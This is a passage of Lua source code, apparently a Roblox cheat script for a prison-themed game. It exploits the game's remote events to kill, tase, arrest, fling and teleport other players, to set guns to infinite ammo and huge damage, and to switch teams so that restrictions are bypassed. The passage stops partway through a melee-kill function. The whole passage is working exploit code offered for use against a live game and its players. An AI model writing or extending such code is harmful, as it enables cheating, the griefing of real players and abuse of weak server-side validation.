local tempos, wascriminal = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame, LocalPlayer.TeamColor.Name == "Really red" or nil; SavedPositions.AutoRe = tempos; SaveCamPos()
LocalPlayer.CharacterAdded:Wait(); waitfor(LocalPlayer.Character, "HumanoidRootPart", 1).CFrame = tempos; LoadCamPos()
if wascriminal then
TeamTo("criminal")
end
end); task.delay(0, function()
LAction("speed", Saved.NormalSpeed); task.wait(0.03); LAction("jumppw", Saved.NormalJump)
end)
end
if Toggles.AntiTase and des.Animation.AnimationId == "rbxassetid://279227693" then
des:Stop(); des:Destroy()
Hbeat:Wait(); LAction("speed", Saved.NormalSpeed); task.wait(0.03); LAction("jumppw", Saved.NormalJump)
end
end)
if Connections.CharacterChildAdded then
Connections.CharacterChildAdded:Disconnect(); Connections.CharacterChildAdded = nil
end
Connections.CharacterChildAdded = lochar.ChildAdded:Connect(function(tool)
if tool:FindFirstChild("GunStates") and not LocPL.ShittyExecutor then
if Toggles.AutoInfiniteAmmo then
local stat = require(tool.GunStates)
stat.MaxAmmo = math.huge;stat.CurrentAmmo = math.huge;stat.AmmoPerClip = math.huge;stat.StoredAmmo = math.huge
if not Saved.Thread.AutoInfiniteAmmo then
Saved.Thread.AutoInfiniteAmmo = true;Tasks.AutoInfiniteAmmo()
end
end;if Toggles.AutoFire or Toggles.AutoFireRate then
local sta = require(tool.GunStates)
if Toggles.AutoFire and not States.SpinnyTools then
sta.AutoFire = true
end
if Toggles.AutoFireRate then
sta.FireRate = 0.01
end
end;if Toggles.AutoGunMods then
local stat = require(tool.GunStates)
stat.Damage = 9e9
stat.FireRate = 0.01
stat.Range = math.huge
stat.MaxAmmo = math.huge
stat.StoredAmmo = math.huge
stat.AmmoPerClip = math.huge
stat.CurrentAmmo = math.huge
stat.AutoFire = true
stat.Bullets = 10
if not Toggles.AutoInfiniteAmmo and not States.SpinnyTools then
Tasks.ReloadGun(tool, true)
end
end;if States.SpinnyTools then
require(tool.GunStates).AutoFire = false
end
end
end)
end
if LocalPlayer.TeamColor == BrickColor.new("Medium stone grey") or not LocPL.WrongGame and LocalPlayer.PlayerGui.Home.intro.Visible then
Threads.HideTeamGui()
end
end
local function oncharadded()
lochar = LocalPlayer.Character or LocalPlayer.CharacterAdded:Wait()
coroutine.wrap(charaddtask)()
if SavedPositions.AutoRe and Toggles.AutoRespawn then
local LRoot = lochar:WaitForChild("HumanoidRootPart", 1)
if LRoot then
LRoot.CFrame = SavedPositions.AutoRe; LoadCamPos(); LRoot.CFrame = SavedPositions.AutoRe
task.spawn(function()
for i = 1, 3 do
task.wait(); LRoot.CFrame = SavedPositions.AutoRe
end
end)
if wait() and not lochar:FindFirstChildWhichIsA("ForceField") then
for i = 1, 4 do
LRoot.CFrame = SavedPositions.AutoRe; waitfor(LocalPlayer.Character, "HumanoidRootPart", 1).CFrame = SavedPositions.AutoRe
end; lochar:WaitForChild("HumanoidRootPart", 1).CFrame = SavedPositions.AutoRe
deprint("Debug_Char added with no forcefield?")
end
end
end
lochar:WaitForChild("Humanoid", 1):SetStateEnabled(Enum.HumanoidStateType.FallingDown, false)
lochar:WaitForChild("Humanoid", 1):SetStateEnabled(Enum.HumanoidStateType.Ragdoll, false)
end
diedevent = lochar:WaitForChild("Humanoid").Died:Connect(ondiedevent)
Connections.CharacterAdded = LocalPlayer.CharacterAdded:Connect(oncharadded)
local GiveKeyCard = function(player)
if player == LocalPlayer then
if workspace.Prison_ITEMS.single:FindFirstChild("Key card") then
ItemHand(false, "Key card")
else
local oldteam, oldpos = LocalPlayer.TeamColor, LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
repeat task.wait()
if LocalPlayer.TeamColor ~= BrickColor.new("Bright blue") then
if #Teams.Guards:GetPlayers() > 7 then
Notif("Guards Team Is Full", nil, 5)
break
end; TeamTo("guard")
end; LAction("died")
if not Toggles.AutoRespawn then
TeamTo("guard")
else
LocalPlayer.CharacterAdded:Wait()
end; wait(.1)
until workspace.Prison_ITEMS.single:FindFirstChild("Key card"); LocTP(oldpos)
if oldteam == BrickColor.new("Bright orange") then
TeamTo("inmate")
elseif oldteam == BrickColor.new("Really red") then
TeamTo("criminal")
end; ItemHand(false, "Key card"); ItemHand(false, "Key card"); ItemHand(false, "Key card")
end
else
local finallykeycard = nil; local oldteam = LocalPlayer.TeamColor
SavedPositions.GiveKeyCard = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
task.spawn(function()
while task.wait() do
for i,v in pairs(workspace.Prison_ITEMS.single:GetChildren()) do
if v.Name == "Key card" and player.Character and player.Character:FindFirstChild("HumanoidRootPart") then
local vpivot = v.ITEMPICKUP.Position
local ppivot = player.Character:FindFirstChild("HumanoidRootPart").Position
if (vpivot-ppivot).Magnitude <= 15 then
finallykeycard = true
break
end
end
end
if finallykeycard then
break
end
end
end)
repeat task.wait()
if player.Character and player.Character:FindFirstChildOfClass("Humanoid") and player.Character:FindFirstChildOfClass("Humanoid").Health ~= 0 then
local temp = player.Character:FindFirstChild("HumanoidRootPart").CFrame
SavedPositions.AutoRe = temp; LocTP(temp)
if LocalPlayer.TeamColor ~= BrickColor.new("Bright blue") then
if #Teams.Guards:GetPlayers() > 7 then
finallykeycard = true
break
end
TeamEve("Bright blue"); LocalPlayer.CharacterAdded:Wait()
waitfor(LocalPlayer.Character, "HumanoidRootPart", 2).CFrame = temp; RTPing(0)
end
LAction("died")
if Toggles.AutoRespawn then
LocalPlayer.CharacterAdded:Wait(); waitfor(LocalPlayer.Character, "HumanoidRootPart", 2).CFrame = temp
else
TeamTo("guard")
end; RTPing(0.09)
else
finallykeycard = true
break
end
until finallykeycard
SavedPositions.AutoRe = SavedPositions.GiveKeyCard; LocTP(SavedPositions.GiveKeyCard)
if oldteam == BrickColor.new("Bright orange") then
TeamTo("inmate")
elseif oldteam == BrickColor.new("Really red") then
TeamTo("criminal")
end
end
end
local KillPL = function(plr, events, guntouse, WaitToDie)
local AK = LocalPlayer.Backpack:FindFirstChild("AK-47") or LocalPlayer.Character:FindFirstChild("AK-47")
if not AK and not guntouse then
Gun("AK-47")
task.wait()
AK = LocalPlayer.Backpack:FindFirstChild("AK-47") or LocalPlayer.Character:FindFirstChild("AK-47")
elseif guntouse then
AK = LocalPlayer.Backpack:FindFirstChild(guntouse) or LocalPlayer.Character:FindFirstChild(guntouse)
if not AK then
Gun(guntouse)
task.wait()
AK = LocalPlayer.Backpack:FindFirstChild(guntouse)
end
end
if plr.Character:FindFirstChild("Humanoid").Health == 0 or plr.Character:FindFirstChildWhichIsA("ForceField") then
return
end
local Eve = events or 10
local ShootEvents = {};
for i = 1, Eve do
ShootEvents[#ShootEvents + 1] = {
Hit = plr.Character:FindFirstChildOfClass("Part");
Cframe = CFrame.new();
RayObject = Ray.new(Vector3.new(), Vector3.new());
Distance = 0;
};
end
task.spawn(function()
for i = 1, 6 do
Rstorage.ReloadEvent:FireServer(AK)
task.wait(.1)
end
end)
if plr.TeamColor == LocalPlayer.TeamColor then
if plr.TeamColor == BrickColor.new("Really red") or plr.TeamColor == BrickColor.new("Bright blue") then
SavedPositions.AutoRe = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
SaveCamPos()
TeamEve("Bright orange")
Rstorage.ShootEvent:FireServer(ShootEvents, AK)
task.wait(0.06)
else
TeamTo("criminal")
Rstorage.ShootEvent:FireServer(ShootEvents, AK)
end
else
Rstorage.ShootEvent:FireServer(ShootEvents, AK)
end
if WaitToDie then
repeat task.wait() until not plr.Character or not plr.Character:FindFirstChildOfClass("Humanoid") or plr.Character:FindFirstChildOfClass("Humanoid").Health == 0 or plr.Character:FindFirstChildWhichIsA("ForceField")
end
end
local GetIllegalReg = function(args)
local RegPlr = nil
if args.Character and RegModule then
for i,v in pairs(Rstorage:FindFirstChild("PermittedRegions"):GetChildren()) do
if RegModule.findRegion(args.Character) then
RegPlr = RegModule.findRegion(args.Character)["Name"]
end
if v.Value == RegPlr then
return false
end
end
return true
else return true end
end
local ArrestPL = function(args, savepos, isHidden)
SavedPositions.ArrestPlr = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
local Timedout, readytoar = tick() + 6, tick() + CPing()
LocTP(args.Character:FindFirstChild("HumanoidRootPart").CFrame)
repeat task.wait()
local potangina = args.Character and args.Character:FindFirstChild("Humanoid").Health == 0
local gago = args.TeamColor == BrickColor.new("Bright blue") or args.TeamColor == BrickColor.new("Medium stone grey")
local hayop = args.TeamColor ~= BrickColor.new("Really red") and not GetIllegalReg(args)
if potangina or gago or hayop then
break
end;if LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Humanoid").Sit then
LAction("unsit")
end;if isHidden or Settings.User.HiddenArrest then
LocTP(args.Character:FindFirstChild("Head").CFrame * CFrame.new(0, -12, -1))
else
LocTP(args.Character:FindFirstChild("HumanoidRootPart").CFrame * CFrame.new(0, 0, -1))
end;if tick() - readytoar >=0 then
task.spawn(ArrestEve, args)
end
until args.Character:FindFirstChild("Head"):FindFirstChild("handcuffedGui") or tick() - Timedout >= 0; Timedout = nil
if savepos then
if LocalPlayer.Character:FindFirstChildOfClass("Humanoid").Sit then
LAction("unsit", true)
end;LocTP(SavedPositions.ArrestPlr)
end
end
local ArrestEve = function(args, repeated, interval)
if repeated then
for i = 1, repeated do
if interval then task.wait(interval) end
task.spawn(function()
if args.Character:FindFirstChild("Humanoid") and args.Character:FindFirstChildOfClass("Humanoid").Health ~= 0 then
workspace.Remote.arrest:InvokeServer(args.Character:FindFirstChildWhichIsA("Part"))
end
end)
end
else
workspace.Remote.arrest:InvokeServer(args.Character:FindFirstChildWhichIsA("Part"))
end
end
local VirtualPunch = function(args)
task.delay(0, function()
if not (LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid")) then
return
end;for _, animationTrack in ipairs(LocalPlayer.Character:FindFirstChildOfClass("Humanoid"):FindFirstChildOfClass("Animator"):GetPlayingAnimationTracks()) do
if animationTrack.Animation.AnimationId == "rbxassetid://484200742" or animationTrack.Animation.AnimationId == "rbxassetid://484926359" then
animationTrack:Stop(); animationTrack:Destroy()
end
end
local Sapakan = math.random(1, 2);local animtoload = nil;local newAnim = Instance.new("Animation")
if Sapakan == 1 then
newAnim.AnimationId="rbxassetid://484200742";animtoload=LocalPlayer.Character:FindFirstChildOfClass("Humanoid"):FindFirstChildOfClass("Animator"):LoadAnimation(newAnim)
else
newAnim.AnimationId="rbxassetid://484926359";animtoload=LocalPlayer.Character:FindFirstChildOfClass("Humanoid"):FindFirstChildOfClass("Animator"):LoadAnimation(newAnim)
end;animtoload.Looped=false;animtoload:Play(); task.wait(animtoload.Length); newAnim:Destroy();animtoload:Stop();animtoload:Destroy();newAnim=nil;animtoload=nil;Sapakan=nil
end)
local LHead = LocalPlayer.Character:FindFirstChild("Head")
local magnit = Toggles.PunchAura and 20 or 2.5
if not args then
for i,v in pairs(Players:GetPlayers()) do
if v ~= LocalPlayer then
local VChar = v.Character
local VHead = VChar:FindFirstChild("Head")
if VHead and LHead then
if (LHead.Position-VHead.Position).Magnitude <= magnit then
local sound = VHead.punchSound; sound.Volume = 1; sound:Play()
if Toggles.Onepunch then
for i = 1, 15 do
MeleEve(v)
end
else
MeleEve(v)
end; game:GetService("ReplicatedStorage").SoundEvent:FireServer(sound)
if not Toggles.PunchAura then
break
end
end
end
end
end
elseif args then
local AChar = args.Character
local AHead = AChar:FindFirstChild("Head")
if (LHead.Position-AHead.Position).Magnitude <= magnit then
local sound = AHead.punchSound; sound.Volume = 1; sound:Play()
if Toggles.Onepunch then
for i = 1, 15 do
MeleEve(args)
end
else
MeleEve(args)
end; game:GetService("ReplicatedStorage").SoundEvent:FireServer(sound)
end
end
if States.LoudPunch then
for i,v in pairs(Players:GetPlayers()) do
if v and v.Character and v.Character:FindFirstChild("Head") then
local head = v.Character:FindFirstChild("Head")
local vol = head.punchSound
if v == LocalPlayer then
vol:Play()
end; Rstorage.SoundEvent:FireServer(vol)
end
end
end
end
local TasePL = function(plr, args)
local oldteam = nil
if not (LocalPlayer.TeamColor == BrickColor.new("Bright blue")) then
oldteam = LocalPlayer.TeamColor
TeamTo("guard")
task.wait()
end
local Taser = LocalPlayer.Backpack:FindFirstChild("Taser") or LocalPlayer.Character:FindFirstChild("Taser")
local ShootEvents = {};
if args == "teams" then
for _, tea in pairs(plr:GetPlayers()) do
if (not (tea == LocalPlayer) and not (tea.TeamColor == BrickColor.new("Bright blue"))) and tea.Character and tea.Character:FindFirstChild("Humanoid") and not (tea.Character:FindFirstChild("Humanoid").Health == 0) then
ShootEvents[#ShootEvents + 1] = {
Hit = tea.Character:FindFirstChildOfClass("Part");
Cframe = CFrame.new();
RayObject = Ray.new(Vector3.new(), Vector3.new());
Distance = 0;
};
end
end
elseif args == "tables" then
for i,v in next, plr do
if not (v == LocalPlayer) and v.Character and v.Character:FindFirstChild("Humanoid") and not (v.Character:FindFirstChild("Humanoid").Health == 0) then
ShootEvents[#ShootEvents + 1] = {
Hit = v.Character:FindFirstChildOfClass("Part");
Cframe = CFrame.new();
RayObject = Ray.new(Vector3.new(), Vector3.new());
Distance = 0;
};
end
end
else
if plr and plr.Character and plr.Character:FindFirstChild("Humanoid") and not (plr.Character:FindFirstChild("Humanoid").Health == 0) then
ShootEvents[#ShootEvents + 1] = {
Hit = plr.Character:FindFirstChildOfClass("Part");
Cframe = CFrame.new();
RayObject = Ray.new(Vector3.new(), Vector3.new());
Distance = 0;
};
end
end
Rstorage.ShootEvent:FireServer(ShootEvents, Taser)
Rstorage.ReloadEvent:FireServer(Taser)
task.wait()
if oldteam then
if oldteam == BrickColor.new("Really red") then
TeamTo("criminal")
else
TeamTo("inmate")
end
end
end
local FlingPlr = function()
end
local PunchKill = function(args, speed)
local Interval = speed or 0.3
local lastpos = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
while task.wait(Interval) do
if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") and LocalPlayer.Character:FindFirstChildOfClass("Humanoid").Sit then
LAction("unsit")
end
if (not Players:FindFirstChild(args.Name) or not args.Character) or args.Character:FindFirstChild("Humanoid").Health == 0 or args.TeamColor == BrickColor.new("Medium stone grey") then
break
end
LocTP(args.Character:FindFirstChild("HumanoidRootPart").CFrame * CFrame.new(0, 0, 1.5))
VirtualPunch(args)
end
LocTP(lastpos)
end
local BringCar = function(args, usedcar, policecar)
local Car = nil; local CarButton = workspace.Prison_ITEMS.buttons["Car Spawner"]["Car Spawner"]
if policecar then
CarButton = workspace.Prison_ITEMS.buttons:GetChildren()[4]["Car Spawner"]
end; local ButtonPivot = CarButton:GetPivot()
local LastPos = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame; States.IsBringing = true
if usedcar then
for i,v in pairs(workspace.CarContainer:GetChildren()) do
if v:IsA("Model") and v:FindFirstChild("Body") and v.Body:FindFirstChild("VehicleSeat") and not v.Body.VehicleSeat.Occupant then
for ii,vv in pairs(v.Body:GetChildren()) do
if vv:IsA("Seat") and not vv.Occupant then
Car = v
break
end
end; if Car then
break
end
end
end; if not Car then
Notif("No Cars Found", nil, 5)
return
end
else
task.spawn(function()
Car = game:GetService("Workspace").CarContainer.ChildAdded:Wait()
end); repeat task.wait()
task.spawn(function()
LAction("unsit"); LocTP(ButtonPivot); workspace.Remote.ItemHandler:InvokeServer(CarButton)
end)
until Car
end; repeat task.wait() until Car:FindFirstChild("RWD") and Car:FindFirstChild("Body") and Car:FindFirstChild("Body"):FindFirstChild("VehicleSeat")
local Stopped, timeout = false, tick()
while not Stopped do task.wait()
pcall(function()
LocTP(CFrame.new(Car.Body.VehicleSeat.Position))
Car.Body.VehicleSeat:Sit(LocalPlayer.Character:FindFirstChild("Humanoid"))
Stopped = LocalPlayer.Character:FindFirstChild("Humanoid").Sit or tick() - timeout > 6
end)
end; Car.PrimaryPart = Car:WaitForChild("RWD")
if args then
local destiny = args == LocalPlayer and LastPos or args.Character:FindFirstChild("Head").CFrame
Car:SetPrimaryPartCFrame(destiny)
wait(.2); LAction("unsit", true); LocTP(LastPos)
else
Car:SetPrimaryPartCFrame(LastPos)
end; States.IsBringing = false; Stopped = nil
return Car
end
local TableKill = function(tables)
local AK = LocalPlayer.Backpack:FindFirstChild("AK-47") or LocalPlayer.Character:FindFirstChild("AK-47")
if not AK then
Gun("AK-47")
task.wait()
end
local inteam = nil
local crimteam = nil
local sameteam = nil
local sameinmate = nil
local sameguard = nil
local samecrim = nil
local ShootEvents = {};
for i,v in next, tables do
if v.Character and not v.Character:FindFirstChildWhichIsA("ForceField") and not (v.Character:FindFirstChild("Humanoid").Health == 0) then
if not Saved.KillDebounce[v.Name] then
Saved.KillDebounce[v.Name] = true
if v.TeamColor == LocalPlayer.TeamColor then
sameteam = true
if LocalPlayer.TeamColor == BrickColor.new("Bright orange") then
sameinmate = true
elseif LocalPlayer.TeamColor == BrickColor.new("Bright blue") then
sameguard = true
elseif LocalPlayer.TeamColor == BrickColor.new("Really red") then
samecrim = true
end
end
if v.TeamColor == BrickColor.new("Bright orange") then
inteam = true
elseif v.TeamColor == BrickColor.new("Really red") then
crimteam = true
end
delay(1.2, function()
Saved.KillDebounce[v.Name] = nil
end)
for i = 1, 10 do
ShootEvents[#ShootEvents + 1] = {
Hit = v.Character:FindFirstChildOfClass("Part");
Cframe = CFrame.new();
RayObject = Ray.new(Vector3.new(), Vector3.new());
Distance = 0;
}
end
end
end
end
if not ShootEvents[1] then
return
end
AK = LocalPlayer.Backpack:FindFirstChild("AK-47") or LocalPlayer.Character:FindFirstChild("AK-47")
task.spawn(function()
for i = 1, 10 do
Rstorage.ReloadEvent:FireServer(AK)
task.wait(.1)
end
end)
if sameteam then
if ((samecrim or sameguard) and inteam) or (sameinmate and crimteam) then
SavedPositions.AutoRe = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
SaveCamPos()
TeamEve("Medium stone grey")
Rstorage.ShootEvent:FireServer(ShootEvents, AK)
task.wait(0.06)
TeamEve("Bright orange")
elseif (samecrim or sameguard) and not inteam then
SavedPositions.AutoRe = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
SaveCamPos()
TeamEve("Bright orange")
Rstorage.ShootEvent:FireServer(ShootEvents, AK)
task.wait(0.05)
elseif sameinmate and not crimteam then
TeamTo("criminal")
Rstorage.ShootEvent:FireServer(ShootEvents, AK)
end
else
Rstorage.ShootEvent:FireServer(ShootEvents, AK)
end
end
local BringPL = function(BringFrom, Destination, isCFrame, donotusecar, dontbreakyet)
if BringFrom.TeamColor == BrickColor.new("Medium stone grey") or not (BringFrom.Character and BringFrom.Character:FindFirstChildOfClass("Humanoid") and BringFrom.Character:FindFirstChildOfClass("Humanoid").Health ~= 0) then
return
end; if LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Humanoid").Sit then LAction("unsit", true); end
local Car = nil; local CarButton = workspace.Prison_ITEMS.buttons["Car Spawner"]["Car Spawner"]; local ButtonPivot = CarButton:GetPivot()
if LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then
local LastPos = LocalPlayer.Character:FindFirstChild("HumanoidRootPart") and LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
if not (BringFrom == LocalPlayer) then
repeat task.wait()
for i,v in pairs(workspace.CarContainer:GetChildren()) do
if v:IsA("Model") and v:FindFirstChild("Body") and v.Body:FindFirstChild("VehicleSeat") and v.Name ~= "DONOTUSECAR" and not v.Body.VehicleSeat.Occupant then
for ii,vv in pairs(v.Body:GetChildren()) do
if vv:IsA("Seat") and not vv.Occupant then
Car = v
break
end
end
if Car then
break
end
end
end
if not Car then
coroutine.wrap(function()
LocTP(ButtonPivot)
workspace.Remote.ItemHandler:InvokeServer(CarButton)
end)()
end
until Car
if donotusecar then Car.Name = "DONOTUSECAR"; end
if Car and LocalPlayer.Character:FindFirstChild("HumanoidRootPart") and BringFrom.Character and BringFrom.Character:FindFirstChild("Torso") and BringFrom.Character:FindFirstChildOfClass("Humanoid") then
repeat task.wait() until Car:FindFirstChild("RWD") and Car:FindFirstChild("Body") and Car:FindFirstChild("Body"):FindFirstChild("VehicleSeat"); States.IsBringing = true
local seattimeout = tick() + 8
local LHuman, LRoot = LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid"), LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
repeat task.wait()
LHuman = LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid"); LRoot = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
if LHuman and LRoot then
LRoot.CFrame = CFrame.new(Car.Body.VehicleSeat.Position); Car.Body.VehicleSeat:Sit(LHuman)
end
until LHuman.Sit or tick() - seattimeout >=0; seattimeout = nil
if not LHuman or not LHuman.Sit then
LAction("unsit", true)
States.IsBringing = false; LocTP(LastPos); Car.Name = "DONOTUSECAR"
return
end; if BringFrom.TeamColor == BrickColor.new("Medium stone grey") then
LAction("unsit", true)
States.IsBringing = false; LocTP(LastPos)
return
end
local TargetSeat = nil
for i,v in pairs(Car.Body:GetChildren()) do
if v:IsA("Seat") and not v.Occupant then
TargetSeat = v
break
end
end; if not TargetSeat then
LocTP(LastPos)
return
end
local VChar = BringFrom.Character
local VHuman = VChar and VChar:FindFirstChildOfClass("Humanoid")
local VRoot = VChar and VChar:FindFirstChild("HumanoidRootPart")
local Timeout = tick() + 17
local CarSpin, SpinRad = false, 0
task.spawn(function()
Car.PrimaryPart = TargetSeat; Car:SetPrimaryPartCFrame(VRoot.CFrame * CFrame.new(0, -0.3, 0))
task.wait(4); CarSpin = true
end)
repeat
task.wait()
local step1 = CPing() / 2 / 2 / 2
if TargetSeat.Occupant and not VHuman.Sit then
for i,v in pairs(Car.Body:GetChildren()) do
if v:IsA("Seat") and not v.Occupant then
TargetSeat = v
break
end
end
end
Car.PrimaryPart = TargetSeat
local Movement = Vector3.new(VRoot.Velocity.X, 0, VRoot.Velocity.Z)
local Predict = (VRoot.CFrame - (Vector3.new(0, 0, -0.1) * step1)) + (Movement * (step1 * 28))
if Predict.Position.Y > 1 then
if CarSpin then
SpinRad += 30
Car:SetPrimaryPartCFrame(Predict * CFrame.Angles(0, math.rad(SpinRad), 0))
else
Car:SetPrimaryPartCFrame(Predict)
end
else
Car:SetPrimaryPartCFrame(LastPos)
end
if BringFrom.TeamColor == BrickColor.new("Medium stone grey") then
break
end
until not LocalPlayer.Character or not LocalPlayer.Character:FindFirstChildOfClass("Humanoid") or not BringFrom.Character or not LHuman.Sit or VChar ~= BringFrom.Character or VHuman.Sit or VHuman.Health == 0 or tick() - Timeout >=0
Timeout = nil
if VHuman and not VHuman.Sit then
LAction("unsit", true); LocTP(LastPos); States.IsBringing = false
return
end
if isCFrame then
Car.PrimaryPart = Car:FindFirstChild("RWD"); Car:SetPrimaryPartCFrame(Destination)
else
Car.PrimaryPart = Car:FindFirstChild("RWD")
local Destiny = Destination ~= LocalPlayer and Destination.Character:FindFirstChild("HumanoidRootPart").CFrame or LastPos
Car:SetPrimaryPartCFrame(Destiny)
if Destination ~= LocalPlayer and (donotusecar or not Settings.User.AutoDumpCar) then
wait(.2); LAction("unsit", true); LocTP(LastPos)
end
end; SavedArgs.BringSuccess = true
if Settings.User.AutoDumpCar and not donotusecar and not dontbreakyet then
local Tinedout = tick() + 15
repeat task.wait() until VHuman.Health == 0 or not VHuman.Sit or tick() - Tinedout >=0 or not Players:FindFirstChild(BringFrom and BringFrom.Name or "nil"); Tinedout = nil
if not LocalPlayer.Character:FindFirstChildOfClass("Humanoid").Sit then
LastPos = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
repeat task.wait()
Car.Body.VehicleSeat:Sit(LocalPlayer.Character:FindFirstChildOfClass("Humanoid"))
until LocalPlayer.Character:FindFirstChildOfClass("Humanoid").Sit
end
Car.PrimaryPart = Car:FindFirstChild("RWD"); Car:SetPrimaryPartCFrame(CFrame.new(0, 9, 0)); wait(.2)
LAction("unsit", true); LocTP(LastPos)
end; States.IsBringing = false
end
else
if isCFrame then
LocTP(Destination)
else
LocTP(Destination.Character:FindFirstChild("HumanoidRootPart").CFrame)
end
end
end
end
local OpenDoors = function(includeGate)
local oldteam = nil
if #Teams.Guards:GetPlayers() >= 8 and not (LocalPlayer.TeamColor == BrickColor.new("Bright blue")) then
return
elseif not (LocalPlayer.TeamColor == BrickColor.new("Bright blue")) then
oldteam = LocalPlayer.TeamColor; SaveCamPos(); TeamTo("guard"); waitfor(LocalPlayer.Character, "HumanoidRootPart", 3)
end; if includeGate then
local laspos = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
local gate = game:GetService("Workspace")["Prison_ITEMS"].buttons["Prison Gate"]["Prison Gate"]
for i = 1, 4 do
LocTP(gate:GetPivot())
workspace.Remote.ItemHandler:InvokeServer(gate)
end; LocTP(laspos)
end; local hascollision = {}
for i,v in pairs(workspace.Doors:GetChildren()) do
if v:IsA("Model") then
local pivot = v:GetPivot(); v:PivotTo(LocalPlayer.Character:GetPivot())
for _,vv in pairs(v:GetDescendants()) do
if vv:IsA("BasePart") and vv.CanCollide then
hascollision[vv] = true; vv.CanCollide = false
end
end; task.delay(0, function()
v:PivotTo(pivot)
for _,vv in pairs(v:GetDescendants()) do
if vv:IsA("BasePart") and hascollision[vv] then
vv.CanCollide = true
end
end
end)
end
end; RTPing(0.03)
if oldteam then
wait(2); SaveCamPos()
if oldteam == BrickColor.new("Really red") then
TeamTo("criminal")
elseif oldteam == BrickColor.new("Bright orange") then
TeamTo("inmate")
end
end
end
local FlingPL = function(args)
local tempos = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
for _,v in next, LocalPlayer.Character:GetChildren() do
if v:IsA("BasePart") then
v.CanCollide = false
v.Massless = true
end
end
local tempo = args.Character:FindFirstChild("HumanoidRootPart").CFrame; LocTP(tempo)
local val = Toggles.Noclip; Toggles.Noclip = true
local tempcon = Stepped:Connect(function(step)
step = step - game.Workspace.DistributedGameTime
local aRoot, lRoot = args.Character and args.Character:FindFirstChild("HumanoidRootPart"), LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
if aRoot and lRoot then
tempo = aRoot.CFrame + (aRoot.Velocity * (step * 28))
if tempo.Position.Y > 1 then
lRoot.CFrame = tempo
end
end
end); task.delay(0.35, function()
if args.Character and args.Character:FindFirstChild("Head") and args.Character.Head.Position.Y < 699 then
VKeyPress("C", "Press")
end
end); task.delay(0.05, function()
LocalPlayer.Character.PrimaryPart.Velocity = Vector3.new(0, 131111, 0)
end)
local timeout = tick() + 10
repeat task.wait()
local root = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
if root then
root.CFrame = tempo.Position.Y > 1 and tempo or CFrame.new(0, 100, 0)
if root.Velocity.Y < 6999 then
root.Velocity = Vector3.new(0, 1e6, 0)
end
end
local human = LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
if human and human.Sit then
human.Sit = false
end
if not Players:FindFirstChild(args.Name) then
break
end
until tick() - timeout >=0 or (args.Character and args.Character:FindFirstChild("Head") and (args.Character.Head.Position.Y > 699 or args.Character.Head.Position.Y < 1))
tempcon:Disconnect(); tempcon = nil; timeout = nil; Toggles.Noclip = val
local tick1 = tick() + 2
local seat = game:GetService("Workspace"):FindFirstChildWhichIsA("Seat", true)
local LHuman = LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
if seat.Occupant and not LHuman.Sit then
for i,v in next, workspace:GetDescendants() do
if v:IsA("Seat") and not v.Occupant then
seat = v; break
end
end
end
repeat
LHuman = LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
if LHuman and seat then
seat:Sit(LHuman)
end
if LocalPlayer.Character.PrimaryPart then LocalPlayer.Character.PrimaryPart.Velocity = Vector3.new(0, 0, 0) end
task.wait()
until LHuman.Sit or tick() - tick1 >=0; task.wait()
for i = 1, 9 do
Stepped:Wait()
LHuman.Sit = false; LocalPlayer.Character.PrimaryPart.Velocity = Vector3.new(0, 0, 0); LocTP(tempos)
end; Hbeat:Wait(); LHuman.Sit = false; LocTP(tempos)
tempos = nil; tick1 = nil; LHuman = nil
end
local CarFlingPL = function(args)
local tempos = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
BringPL(args, args.Character:FindFirstChild("HumanoidRootPart").CFrame, true, true)
local char = LocalPlayer.Character
local bv, bg = Instance.new("BodyVelocity", char.HumanoidRootPart), Instance.new("BodyGyro", char.HumanoidRootPart)
for i = 1, 10 do
bv.MaxForce = Vector3.new(9e9, 9e9, 9e9); bg.MaxTorque = Vector3.new(9e9, 9e9, 9e9)
bg.CFrame = bg.CFrame * CFrame.new(math.random(69, 699999), math.random(69, 6966868), math.random(6996, 66886)); bv.Velocity = Vector3.new(math.random(69, 699), 1e6, math.random(69, 699))
Stepped:Wait()
end; Stepped:Wait(); Hbeat:Wait()
Tasks.Refresh(nil, tempos)
end
local MeleeKill = function(args, savepos, isHidden)
if savepos then
SavedPositions.MeleeKill = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
end
local LHead, VHead = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Head"), args.Character and args.Character:FindFirstChild("Head")
local VHuman, VRoot = args.Character and args.Character:FindFirstChildOfClass("Humanoid"), args.Character and args.Character:FindFirstChild("HumanoidRootPart")
if LHead and VHead and VHuman and VHuman.Health ~= 0 then
LocalPlayer.Character:FindFirstChildOfClass("Humanoid").Sit = false
if not (isHidden or Settings.User.HiddenMelee) then
if VRoot and not Saved.MKillDebounce[args.Name] then
